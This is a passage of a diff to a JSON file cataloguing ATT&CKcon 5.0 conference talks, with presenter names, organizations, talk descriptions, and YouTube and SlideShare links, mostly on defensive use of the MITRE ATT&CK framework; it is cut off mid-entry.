"https://www.youtube.com/watch?v=TTo-PiRQYKg&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=8" - }, - { - "title": "Keynote", - "presenters": [ - { - "names": ["Allie Mellen"], - "organization": "Forrester Research" - } - ], - "description": "Keynoting at ATT&CKcon 5.0, Allie Mellen, principal analyst, Forrester Research, discusses the human aspects of security analysts, noting we're not short of people wanting to be in this field, we're short people with the right skills to stay in this field.", - "video": "https://www.youtube.com/watch?v=JlK3cGzhXAQ&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=2", - "slides":"https://www.slideshare.net/slideshow/att-ckcon-5-0-keynote-from-ticket-closers-to-practitioners-how-great-security-operations-teams-transform-to-win-allie-mellen/273593814" - }, - { - "title": "MITRE ATT&CK Updates: State of the ATT&CK", - "presenters": [ - { - "names": ["Adam Pennington"], - "organization": "MITRE ATT&CK" - } - ], - "description": "ATT&CK Lead Adam Pennington discusses the latest changes in MITRE ATT&CK and what's coming down the pike for the framework.", - "video": "https://www.youtube.com/watch?v=sXr5B-aWTeI&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=1", - "slides": "https://www.slideshare.net/slideshow/state-of-the-att-ck-2024-adam-pennington/273284244" - }, - { - "title": "Go Go Ransom Rangers: Diving into Akria's Linux Variant with ATT&CK", - "presenters": [ - { - "names": ["Nicole Hoffman", "James Nutland"], - "organization": "Cisco Talos" - } - ], - "description": "This planet is under attack, and we have brought you here to save it. Within this presentation, we will provide a brief history of Akira ransomware and an overview of the Linux ransomware landscape. Then, morph into action as we take a technical deep dive into the latest Linux variant using the ATT&CK framework to uncover its techniques, tactics, and procedures. We will equip the audience with actionable insights and tracking recommendations to proactively defend against future attacks. Join us in this epic journey to strengthen your defenses and protect your organization from the growing menace of Akira ransomware. Together, let’s harness the power of ATT&CK to defeat villains and ensure a safer world for all!", - "video": "https://www.youtube.com/watch?v=4k6_I1QpYuM&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=5", - "slides": "https://www.slideshare.net/slideshow/go-go-ransom-rangers-diving-into-akira-s-linux-variant-with-att-ck-nicole-hoffman-and-james-nutland/273278606" - }, - { - "title": "Birds of a Feather: The Evolution of Threat Actor Prioritization, Gap Analysis, and Detection Curation using ATT&CK", - "presenters": [ - { - "names": ["Brett Tolbert", "Abdul Williams"], - "organization": "North America Media Company" - } - ], - "description": "The MITRE ATT&CK Framework has significantly evolved over the last ten years and its impact on cybersecurity teams is paramount. Likewise, the cyber threat intelligence (CTI) and detection engineering (DE) domains have matured in its principles and outcomes. ATT&CK influences CTI and DE practices by allowing varied cybersecurity teams to communicate tradecraft in a singular language, track and prioritize security threat coverage, and assess threat actor capabilities. However, integrating and maximizing modern ATT&CK use cases in preexisting CTI and DE programs without many resources can be a challenging overhaul. In this presentation, we will discuss the arc of CTI's and DE's evolution due to the prevalence of ATT&CK. We will explore how it can be integrated in cybersecurity programs by providing specific use cases on gap analysis, threat actor prioritization, and blue team tools like VirusTotal and AttackIQ. Finally, we will provide recommendations on building and automating CTI and DE practices that incorporate ATT&CK regardless of resource strain. After attending this talk, attendees will understand how to identify, prioritize, and implement new opportunities to incorporate ATT&CK in CTI and DE programs, impacting the effectiveness of these practices for their respective organizations.", - "video": "https://www.youtube.com/watch?v=YJcUbvIAMCQ&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=4", - "slides": "https://www.slideshare.net/slideshow/birds-of-a-feather-the-evolution-of-threat-actor-prioritization-gap-analysis-and-detection-curation-using-att-ck-brett-tolbert-and-abdul-williams/274014945" - }, - { - "title": "Practical Application of MITRE ATT&CK: Real World Usage in a Corporate Environment", - "presenters": [ - { - "names": ["Marcelle Lee"], - "organization": "Equinix" - } - ], - "description": "Marcelle Lee, principal information security engineer, Equinix, deep dives on the practical application of MITRE ATT&CK in a corporate environment -- from research to break down TTPs to better understand threats to security controls gap analysis to better identify where gaps may exist based on identified TTPs.", - "video": "https://www.youtube.com/watch?v=btDfr-y6gnI&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=7", - "slides": "https://www.slideshare.net/slideshow/practical-application-of-mitre-att-ck-real-world-usage-in-a-corporate-environment-marcelle-lee/273715567" - }, - { - "title": "ATT&CK Updates: Defenses", - "presenters": [ - { - "names": ["Lex Crumpton"], - "organization": "MITRE ATT&CK" - } - ], - "description": "ATT&CK Defensive Lead Lex Crumpton discussed the latest mitigations added for defenders, the work by the Center for Threat-Informed Defense on sensor mappings to ATT&CK, and new SPL analytics to make it easier for defenders to optimize their detection engineering processes.", - "video": "https://www.youtube.com/watch?v=WLAOBQ93-t4&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=3", - "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-defensive-att-ck-lex-crumpton/273593812" - }, - { - "title": "What sets us apart? Industries vs. infrastructure as differentiator for technique abuse and threat prevalence", - "presenters": [ - { - "names": ["Alexandrea Berninger", "Brian Donohue"], - "organization": "Red Canary" - } - ], - "description": "A core tenet of threat intelligence is the idea that different threats affect different organizations. However, an organization’s industry alone is rarely a key factor in predicting the threats they are likely to face. We know this because we used the North American Industry Classification System (NAICS) to categorize more than 1,000 organizations into sectors and analyzed the disparity in ATT&CK technique abuse and threat prevalence between them. In this talk, we will leverage hundreds of petabytes of data from realized threats to describe the nuanced differences in detection data that do exist between organizations in different industries. We will also explain why those differences likely exist, and we will explore explore the factors within organizations that are better predictors of threat exposure than industry or sector alone. By attending this talk, you will gain a better understanding of: - ATT&CK technique and threat trends across the 20 primary NAICS sectors - factors within organizations that play an important role in differentiating the threats they face - how to think about an organization’s industry or sector during the threat modeling process - the predominance of advantageous adversaries in the threat landscape", - "video": "https://www.youtube.com/watch?v=0icvA49Li1s&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=15", - "slides": "https://www.slideshare.net/slideshow/what-sets-us-apart-industries-vs-infrastructure-as-differentiator-for-technique-abuse-and-threat-prevalence-alex-berninger-and-brian-donohue/273278600" - }, - { - "title": "This is Why We Don't Shout \"Bingo\": Analyzing ATT&CK Integration in Endpoint Detection Rulesets", - "presenters": [ - { - "names": ["Apurva Virkud"], - "organization": "University of Illinois Urbana-Champaign" - } - ], - "description": "In spite of early and frequent warnings not to shout “Bingo,” ATT&CK technique coverage continues to be touted by security products and is used by organizations and purchasers as the basis for evaluating security posture. In coverage-based assessments, having at least one detection rule for as many techniques as possible is prioritized over the depth or quality of detections. But why is this such a bad idea? To understand the implications of coverage-based assessments, we examine the ATT&CK technique annotations in four major endpoint detection rulesets: Carbon Black, Splunk, Elastic, and Sigma. We find that large regions of the Enterprise ATT&CK Matrix are unimplemented in all rulesets (53 Techniques), in part due to the fact that many techniques are unrealizable as endpoint detection rules. We go on to consider how consistently different rulesets apply technique annotations – even when attempting to detect the same malicious entity, products completely disagree about the appropriate ATT&CK technique annotations 51% of the time, while fully agreeing just 2.7% of the time. Put another way, “covering” one technique may not even suggest protection from the same threat across different products. These findings underscore the dangers of coverage-based ATT&CK assessments.", - "video": "https://www.youtube.com/watch?v=7A-5lFGMBvs&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=7", - "slides": "https://www.slideshare.net/slideshow/this-is-why-we-don-t-shout-bingo-analyzing-att-ck-integration-in-endpoint-detection-rulesets-apurva-virkud/273715558" - }, - { - "title": "Confessions of an Ex-FBI Profiler: 3 Things I Wish I Knew About MITRE ATT&CK", - "presenters": [ - { - "names": ["Tim Pappa"], - "organization": "Walmart Global Tech" - } - ], - "description": "This presentation is a confession of a former FBI profiler who never used MITRE ATT&CK when applying cyber behavioral analysis to design approaches to behaviorally exploit attackers. This cyber deception practitioner’s presentation will share three lessons learned about designing behaviorally based cyber deception and influence campaigns against attackers and attack groups, demonstrating how MITRE ATT&CK could have guided the design of deception and influence campaigns to make them more plausible and more effective at driving attacker behaviors online. This presentation will reference ATT&CK’s historical archive on Volatile Cedar as an example. These confessional lessons learned suggests that MITRE ATT&CK can provide an instrumental design step in conceptualizing and materializing behaviorally based cyber deception and influence campaigns.", - "video": "https://www.youtube.com/watch?v=LFmLiig00h0&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=12", - "slides": "https://www.slideshare.net/slideshow/confession-3-things-i-wish-i-knew-about-mitre-att-ck-when-i-was-an-fbi-profiler-tim-pappa/273715520" - }, - { - "title": "ATT&CK Updates: CTI", - "presenters": [ - { - "names": ["Joe Slowik"], - "organization": "MITRE ATT&CK" - } - ], - "description": "ATT&CK CTI Lead Joe Slowik, discusses the latest ATT&CK improvements to hit its cyber threat intelligence goals: capture the relevant threat landscape in a timely fashion, enhance coverage on additional geographics and e-crime actors, and leverage campaign objects for more accurate representation of how activity changes over time.", - "video": "https://www.youtube.com/watch?v=dFLY-tafMAY&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=10", - "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-cti-path-forward-joe-slowik/273593810" - }, - { - "title": "From ATT&CK to CL&IM: Cyber Insurance Data Modeling using MITRE ATT&CK and beyond", - "presenters": [ - { - "names": ["Matt Berninger"], - "organization": "Marsh McLennan" - } - ], - "description": "Before ATT&CK, defenders and intelligence analysts couldn't meaningfully compare notes, since different terms were used for different things, and there was no central repository of definitions to rely on. By providing a common taxonomy of TTPs, MITRE ATT&CK has allowed for the type of coordination, comparison, and collaboration that over the last decade has made defenders meaningfully better at tracking and stopping adversaries. In the world of cyber insurance, we face a similar problem. We lack common definitions and frameworks. When insurers wish to share data analysis or trends, the signals get confused. What is the difference between a ransomware claim, a phishing claim, and a malware claim? When does BEC involve a compromise versus simple impersonation fraud? These definitions matter when we use this data to inform risk profiles, control investments, insurance pricing, and business decisions. Property insurance doesn't confuse hurricanes and tornadoes, and neither should cyber insurance. In this talk we will outline the framework we've developed at Marsh McLennan to tackle this issue, and how we connect to and integrate MITRE ATT&CK. We hope to illuminate some issues, and provide a path forward to clarify the confusion.", - "video": "https://www.youtube.com/watch?v=dRglzlBHPBk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=14", - "slides": "https://www.slideshare.net/slideshow/from-att-ck-to-cl-im-cyber-insurance-data-modeling-using-mitre-att-ck-and-beyond-matt-berninger/273278603" - }, - { - "title": "A Guide to Evaluating Threat Detection Coverage", - "presenters": [ - { - "names": ["Eli Schorr"], - "organization": "Accenture" - } - ], - "description": "Using ATT&CK and MITRE CTID’s StP Frameworks to Assess Threat Detection Resilience - A Guide to Evaluating Threat Detection Coverage. In today's evolving cybersecurity landscape, enhancing threat detection capabilities is crucial. This presentation introduces the practical application of MITRE CTID’s new Summitting the Pyramid (StP) framework to evaluate and improve threat detection resilience using the ATT&CK framework. The StP framework offers a robust methodology to enhance threat detection analytics by evaluating them against the adversary’s cost to evade. It addresses the common issue where many analytics depend heavily on specific tools or artifacts, making them susceptible to low-cost evasion techniques by adversaries. Our journey with StP will uncover its evolution and key concepts such as core ATT&CK techniques, core procedures, preexisting and TA-brought tools, and ephemeral IOCs. We will engage the audience in a poll on real-world threat detection rule bypass strategies. Applying the StP framework to ATT&CK, we'll demonstrate how to evaluate and improve threat detection rule resilience through case studies from real-world assessments. The session will illustrate how integrating the ATT&CK and StP frameworks creates a comprehensive threat risk map, enhancing the qualitative depth of ATT&CK coverage. Attendees will leave with practical knowledge on applying the StP framework, understanding its value, and integrating it with the ATT&CK framework for a robust threat detection strategy.", - "video": "https://www.youtube.com/watch?v=4QlODaxL7KY&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=9", - "slides": "https://www.slideshare.net/slideshow/using-att-ck-and-mitre-ctid-s-stp-frameworks-to-assess-threat-detection-resilience-a-guide-to-evaluating-threat-detection-coverage-eli-schorr/273717977" - }, - { - "title": "Bridging the Gap: Enhancing Detection Coverage with Atomic Red Team, Sigma, and MITRE ATT&CK", - "presenters": [ - { - "names": ["Hare Sudhan Muthusamy"], - "organization": "Walmart Global Tech" - } - ], - "description": "Detection Coverage is a metric that evaluates how effectively an organization's detection capabilities align with threat actors' techniques, tactics, and procedures (TTPs). Manually assessing detection coverage against the MITRE ATT&CK matrix is time-consuming for organizations, especially considering the many security measures in use, such as SIEM, EDR, and more. Even if organizations attempt complex automation to generate detection coverage from all security products, the detections are not guaranteed to be accurate and up-to-date. This session addresses the issues mentioned above and presents how to perform continuous execution and validation with a minimal infrastructure via GitHub Actions and Docker containers to create a replicated lab environment where we execute atomic tests using Atomic Red Team, generate and send logs to a centralized logging infrastructure, and continuously validate them against Sigma detections. It also demonstrates the immense value of mapping attacks and detections against the MITRE ATT&CK Matrix and visualizes the results using the ATT&CK Navigator. These visualizations offer valuable insights into the organization's security posture, highlighting any missing detections. Furthermore, this talk will provide insights into the hurdles of utilizing Github Actions and Docker containers for threat hunting.", - "video": "https://www.youtube.com/watch?v=fZdM2rDUfKk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=11", - "slides": "https://www.slideshare.net/slideshow/bridging-the-gap-enhancing-detection-coverage-with-atomic-red-team-sigma-and-mitre-att-ck-hare-sudhan-muthusamy/273715669" - }, - { - "title": "Closing Remarks - Day 1", - "presenters": [ - { - "names": ["Amy Robertson", "Joe Slowick"], - "organization": "MITRE" - } - ], - "description": "MITRE's Amy Roberston and Joe Slowik close out Day 1 of ATT&CKcon 5.0 and how best to use ATT&CK to better understand the adversary.", - "video": "https://www.youtube.com/watch?v=xgfindky7l8&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=14" - }, - { - "title": "Featured Speaker: Mark Singer", - "presenters": [ - { - "names": ["Mark Singer"], - "organization": "CISA Threat Hunting" - } - ], - "description": "Mark Singer, CISA Threat Branch Chief, discusses how cyber is a team sport and dives into a few successful cases studies such as defending Ukraine from Russia.", - "video": "https://www.youtube.com/watch?v=G0_RGhLy2Sw&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=20" - }, - { - "title": "Lifecycle-Aware Power Side-Channel Malware Detection", - "presenters": [ - { - "names": ["Alexander Cathis"], - "organization": "The University of Texas at Austin" - } - ], - "description": "Malware detectors analyzing the power side-channel have been demonstrated as an effective out-of-band defense for high-assurance embedded systems. Prior work has mainly targeted simple single-core systems focusing on the noisy exploit stages of an attack lifecycle. Such approaches do not scale to modern embedded multi-core platforms running parallel workloads. Detection performance is further exacerbated against inherently stealthy or deliberately evasive attack lifecycles. In this talk, we propose a novel lifecycle-aware power-based malware detector to defend complex multi-core embedded systems against evasive and non-evasive attack lifecycles. We briefly describe an ensemble of state-specific one-class detectors that are trained on different benign operating states and then combined to scale to complex benign scenarios. Next, we introduce the key realization that real-world attacks require a lifecycle of multiple stages to prime the attack, execute it, and perform post-exploit actions. By augmenting the ensemble detector with a lifecycle-aware hidden Markov model that captures general attack lifecycles, we greatly improve detection performance. We test our detector against attack lifecycles formed according to the MITRE ATT&CK matrix using various microarchitecture, software, and network actions and show our lifecycle-aware detector’s strong performance against attack lifecycles that have evaded traditional detectors.", - "video": "https://www.youtube.com/watch?v=7w2jLJWcKjg&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=26", - "slides": "https://www.slideshare.net/slideshow/lifecycle-aware-power-side-channel-malware-detection-alexander-cathis/273278604" - }, - { - "title": "Next-Gen Threat-Informed Defense: Human-Assisted Intelligent Agents", - "presenters": [ - { - "names": ["Shravan Ravi", "Rajesh Sharma"], - "organization": "AttackIQ" - } - ], - "description": "AttackIQ's Rajesh Sharma and Shravan Ravi discuss how human-assisted intelligence agents can help in threat-informed defense.", - "video": "https://www.youtube.com/watch?v=EH7lUFq7avU&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=28", - "slides": "https://www.slideshare.net/slideshow/next-gen-threat-informed-defense-human-assisted-intelligent-agents-rajesh-sharma-and-shravan-ravi/274015009" - }, - { - "title": "ATT&CK Updates: Enterprise", - "presenters": [ - { - "names": ["Casey Knerr"], - "organization": "MITRE ATT&CK" - } - ], - "description": "Casey Knerr, ATT&CK Enterpise Lead, discusses the changes to ATT&CK based on indentity-as-a-service platforms.", - "video": "https://www.youtube.com/watch?v=BM3a5pYECsk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=22", - "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-enterprise-casey-knerr/273593811" - }, - { - "title": "ATT&CK From Basic Principles", - "presenters": [ - { - "names": ["Tareq ALKhatib"], - "organization": "Lacework (A Fortinet Company)" - } - ], - "description": "We propose a framework where a set of entities (nodes) and the interactions between them (edges) is defined to form an Ontology. Once defined, we attempt to derive many of the concepts defined in ATT&CK, including Data Sources as edges between nodes; Techniques as one or more interactions between entities with some properties specified for the interactions or the entities; and Detections being similar to techniques with possibly different properties. We will also briefly give examples of how this system can be used to judge the strength of a detection rule in a manner similar to MITRE Engenuity’s “Submitting The Pyramid”. We will finally end the presentation with examples of how this framework can be used for Threat Modeling, especially with broader Techniques. At the conference, we intend to release a mapping of as many Techniques as we can to this Ontology framework as well as a list of “Environment-dependent Entities” for use in Threat Modeling.", - "video": "https://www.youtube.com/watch?v=qjptvA-q300&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=21", - "slides": "https://www.slideshare.net/slideshow/att-ck-from-basic-principles-tareq-alkhatib/273278605" - }, - { - "title": "Sources of ATT&CK: A Bibliographic Journey through Enterprise ATT&CK", - "presenters": [ - { - "names": ["Robert Funches"], - "organization": "CACI International" - } - ], - "description": "Pop quiz: do you know what’s at the bottom of the page for every ATT&CK technique, group, software, and mitigation? (No cheating!) It’s a list of references: the cyber threat intelligence that underpins ATT&CK and provides valuable information about adversary tactics and techniques. Peel back that layer, though, and you’ll discover the history of ATT&CK and the broader cybersecurity landscape. In this talk, learn how to work programmatically with the data in ATT&CK, explore the references in ATT&CK through visualizations and analysis, and give back to the ATT&CK community through recommendations and calls-for-action.", - "video": "https://www.youtube.com/watch?v=cP0eZei2ogk&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=30", - "slides": "https://www.slideshare.net/slideshow/sources-of-att-ck-a-bibliographic-journey-through-enterprise-att-ck/273278608" - }, - { - "title": "ATT&CK Updates: Software", - "presenters": [ - { - "names": ["Jared Ondricek"], - "organization": "MITRE ATT&CK" - } - ], - "description": "Jared Ondricek is a Principal DevOps Engineer in the Software Engineering Innovation Center at MITRE. He manages the ATT&CK website, Navigator, Workbench, mitreattack-python package, public facing TAXII server, and other infrastructure in support of the MITRE ATT&CK team. The TAXI 2.0 server is retiring on Dec. 18, 2024, and users should move to TAXI 2.1. Jared also goes over the latest ATT&CK Navigator updates.", - "video": "https://www.youtube.com/watch?v=feTCFaXRNw0&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=23", - "slides": "https://www.slideshare.net/slideshow/mitre-att-ck-updates-software-jared-ondricek/273284273" - }, - { - "title": "SaaSy ATT&CK – Practical ATT&CK usage for SaaS-based Telemetry", - "presenters": [ - { - "names": ["Aaron Shelmire"], - "organization": "Abstract Security" - } - ], - "description": "The ATT&CK Matrices have proven invaluable for Endpoint, Network, IoT and Cloud detection and threat research. As organizations adopt more SaaS software, and organizations gain visibility into their SaaS-estates, how can we apply ATT&CK to SaaS? In this talk we’ll share how the Abstract Security team has used ATT&CK to help drive threat research into SaaS attacks, and used ATT&CK to assist detection engineering of SaaS telemetry.", - "video": "https://www.youtube.com/watch?v=-aPkmjyvrgg&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=29", - "slides": "https://www.slideshare.net/slideshow/saasy-att-ck-practical-att-ck-usage-for-saas-based-telemetry-aaron-shelmire/273715634" - }, - { - "title": "Every Cloud Has a Purple Lining", - "presenters": [ - { - "names": ["Arun Seelagan"], - "organization": "CISA" - } - ], - "description": "This talk presents how ATT&CK was used to fill gaps in cloud technique coverage during a recent purple team exercise. By emulating threat actor tactics in a simulated hybrid cloud environment, a joint team of incident responders and data scientists was able to discern strengths and deficiencies in cloud data sources and formulate detection logic for malicious behaviors. These outcomes were achieved by systematically mapping red team activities to ATT&CK and tracking blue team coverage using a purple team campaign management capability. As a result, cloud visibility gaps are being closed and ATT&CK-annotated detection rules operationalized to accelerate threat detection on critical networks.", - "video": "https://www.youtube.com/watch?v=o-dUEMnwvvI&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=24", - "slides": "https://www.slideshare.net/slideshow/every-cloud-has-a-purple-lining-arun-seelagan/273715535" - }, - { - "title": "The Missing Tactic Techniques of ATT&CK \"Collection\"", - "presenters": [ - { - "names": ["Rich Johnson"], - "organization": "Thales TCT/Imperva" - } - ], - "description": "Databases are ubiquitous, so much so there appears to be insufficient emphasis by the MITRE ATT&CK Framework on the Collection tactic regarding access of data from a database. The specific technique for “Collection” is “Data from an information repository”. Since databases are one of the two primary methods of storing data (in a database or a file), this tactic/technique should be considered more closely. Data does not exist in a vacuum. It is accessed/managed by applications in order to be useful. A key target of a hacker who wants to steal data is a database. There are many ways to collect such data – eavesdropping/man in the middle attacks of data in transit, capturing data at the point of collection (such as point of sale devices), exfiltrating files which contain sensitive data, etc. But the mother lode is the database. By watching how and what data is accessed from a database (as an “authorized” user) it is possible to determine whether such access constitutes an attempted data theft. This is the equivalent of catching a bank robber in the vault.", - "video": "https://www.youtube.com/watch?v=zoXm0Ajq_w0&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=31", - "slides": "https://www.slideshare.net/slideshow/the-mitre-att-ck-collection-tactic-is-missing-very-important-techniques-data-from-a-database-structured-rich-johnson/273278602" - }, - { - "title": "I'll take ATT&CK techniques that can be done for $1000, Alex", - "presenters": [ - { - "names": ["Ben Langrill"], - "organization": "LLC" - } - ], - "description": "How \"hard\" is it to do a given ATT&CK technique? Are they all the same? Clearly Phishing is a lot easier than Hardware additions for initial access. How many ATT&CK techniques can be done within a budget of say $1000? Answering these questions is a powerful step towards knowing what kinds of threats you will face. Building on the ATT&CKcon 4.0 Lightning Talk \"Adjectives for ATT&CK\", this presentation continues the work of organizing offensive techniques into levels of effort. This enables better training, prediction of adversary capabilities and imposing the maximum cost on threat actors.", - "video": "https://www.youtube.com/watch?v=03Ka4RM0LSM&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=25", - "slides": "https://www.slideshare.net/slideshow/i-ll-take-att-ck-techniques-that-can-be-done-for-1000-alex-ben-langrill/273715590" - }, - { - "title": "Lightning Talk: ATT&CK Mapping the Cuckoo’s Egg", - "presenters": [ - { - "names": ["Jon Tran"], - "organization": "The Chertoff Group" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=62s", - "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#2" - }, - { - "title": "Lightning Talk: APT Tracking Simplified: A Visual Guide for Threat Intelligence", - "presenters": [ - { - "names": ["Hossein Jazi"], - "organization": "Fortinet" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=355s", - "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#7" - }, - { - "title": "Lightning Talk: Connecting the Dots Between IOAs and IOCs", - "presenters": [ - { - "names": ["Manish Kapoor"], - "organization": "TruKno" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=650s", - "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#12" - }, - { - "title": "Lightning Talk: A Risk Wonk’s Humble Request to Improve ATT&CK Reporting", - "presenters": [ - { - "names": ["Wade Baker "], - "organization": "Cyentia Institute / Virginia Tech" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=925s", - "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#17" - }, - { - "title": "Lightning Talk: Enter the Flow", - "presenters": [ - { - "names": ["Ivan Ninichuck"] - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=1237s", - "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#22" - }, - { - "title": "Lightning Talk: ATT&CK is (Ken)Enough", - "presenters": [ - { - "names": ["Reid Gilman"], - "organization": "Boston Children's Hospital" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=HQS3f8Ju4_E&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&t=1480s", - "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-lightning-talks-various-speakers/273593813#23" - }, - { - "title": "Updates from the Center for Threat-Informed Defense", - "presenters": [ - { - "names": ["Jon Baker"], - "organization": "Center for Threat-Informed Defense" - } - ], - "description": "Jon Baker of MITRE's Center for Threat-Informed Defense celebrates the Center's 5th anniversary, detailing what they've done, but also what new research is coming out to help cyber defenders.", - "video": "https://www.youtube.com/watch?v=t0tv0jpiIYY&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=32", - "slides": "https://www.slideshare.net/slideshow/updates-from-center-for-threat-informed-defense-jon-baker/273278607" - }, - { - "title": "Couch Talks", - "description": "Join Cat Self from the ATT&CK team as she interviews ATT&CKcon presenters to get a behind-the-scenes look into their backgrounds and key insights from their talks.

    \n
  1. Recording - Adam Pennington, MITRE
  2. \n
  3. Recording - Alexandrea Berninger and Brian Donohue, Red Canary
  4. \n
  5. Recording - Apurva Virkud, Illinois Urbana-Champaign
  6. \n
  7. Recording - Nicole Hoffman and James Nutland, Cisco Talos
  8. \n
  9. Recording - Alex Cathis, The University of Texas at Austin
  10. \n
  11. Recording - Ben Langrill, Optimizer
  12. \n
  13. Recording - Jon Baker, MITRE
  14. \n
  15. Recording - Rich Johnson, Thales TCT/Imperva
  16. \n
  17. Recording - Robert Funches, CACI International
  18. \n
  19. Recording - Rajesh Sharma and Shravan Ravi, AttackIQ
  20. \n
  21. Recording - Tareq Alkhatib, Lacework
  22. \n
" - }, - { - "title": "Closing Remarks - Day 2", - "presenters": [ - { - "names": ["Amy Robertson", "Joe Slowick"], - "organization": "MITRE" - } - ], - "description": "Amy Robertson and Joe Slowick of MITRE ATT&CK close out ATT&CKcon 5.0 with a thank you to the ATT&CK community for building up ATT&CK and helping them bring the latest threat-informed defense resources to countries that have the least amount of cyber resources and training.", - "video": "https://www.youtube.com/watch?v=B53k1EgaWGE&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=40" - } + { + "title": "Introduction & Welcome", + "presenters": [ + { + "names": [ + "Amy Robertson", + "Wen Masters" + ], + "organization": "MITRE" + } + ], + "description": "MITRE has a long history of working and contributing in cyber, beginning in the 1970s when cybersecurity was not even a word in the dictionary. Hear from Wen Masters, vice president of cyber technologies, MITRE, on the history of cyber at MITRE, and learn how MITRE is tackling the future technologies like AI and post-quantum cryptography in the cyber threat landscape.", + "video": "https://www.youtube.com/watch?v=TTo-PiRQYKg&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=8" + }, + { + "title": "Keynote", + "presenters": [ + { + "names": [ + "Allie Mellen" + ], + "organization": "Forrester Research" + } + ], + "description": "Keynoting at ATT&CKcon 5.0, Allie Mellen, principal analyst, Forrester Research, discusses the human aspects of security analysts, noting we're not short of people wanting to be in this field, we're short people with the right skills to stay in this field.", + "video": "https://www.youtube.com/watch?v=JlK3cGzhXAQ&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=2", + "slides": "https://www.slideshare.net/slideshow/att-ckcon-5-0-keynote-from-ticket-closers-to-practitioners-how-great-security-operations-teams-transform-to-win-allie-mellen/273593814" + }, + { + "title": "MITRE ATT&CK Updates: State of the ATT&CK", + "presenters": [ + { + "names": [ + "Adam Pennington" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "ATT&CK Lead Adam Pennington discusses the latest changes in MITRE ATT&CK and what's coming down the pike for the framework.", + "video": "https://www.youtube.com/watch?v=sXr5B-aWTeI&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=1", + "slides": "https://www.slideshare.net/slideshow/state-of-the-att-ck-2024-adam-pennington/273284244" + }, + { + "title": "Go Go Ransom Rangers: Diving into Akria's Linux Variant with ATT&CK", + "presenters": [ + { + "names": [ + "Nicole Hoffman", + "James Nutland" + ], + "organization": "Cisco Talos" + } + ], + "description": "This planet is under attack, and we have brought you here to save it. Within this presentation, we will provide a brief history of Akira ransomware and an overview of the Linux ransomware landscape. Then, morph into action as we take a technical deep dive into the latest Linux variant using the ATT&CK framework to uncover its techniques, tactics, and procedures. We will equip the audience with actionable insights and tracking recommendations to proactively defend against future attacks. Join us in this epic journey to strengthen your defenses and protect your organization from the growing menace of Akira ransomware. Together, let’s harness the power of ATT&CK to defeat villains and ensure a safer world for all!", + "video": "https://www.youtube.com/watch?v=4k6_I1QpYuM&list=PLLGRmm150VfA8ahybY6XdDGtbCkoBNyyn&index=5", + "slides": "https://www.slideshare.net/slideshow/go-go-ransom-rangers-diving-into-akira-s-linux-variant-with-att-ck-nicole-hoffman-and-james-nutland/273278606" + }, + { + "title": "Birds of a Feather: The Evolution of Threat Actor Prioritization, Gap Analysis, and Detection Curation using ATT&CK", + "presenters": [ + { + "names": [ + "Brett Tolbert", + "Abdul Williams" + ], + "organization": "North America Media Company" + } + ], + "description": "The 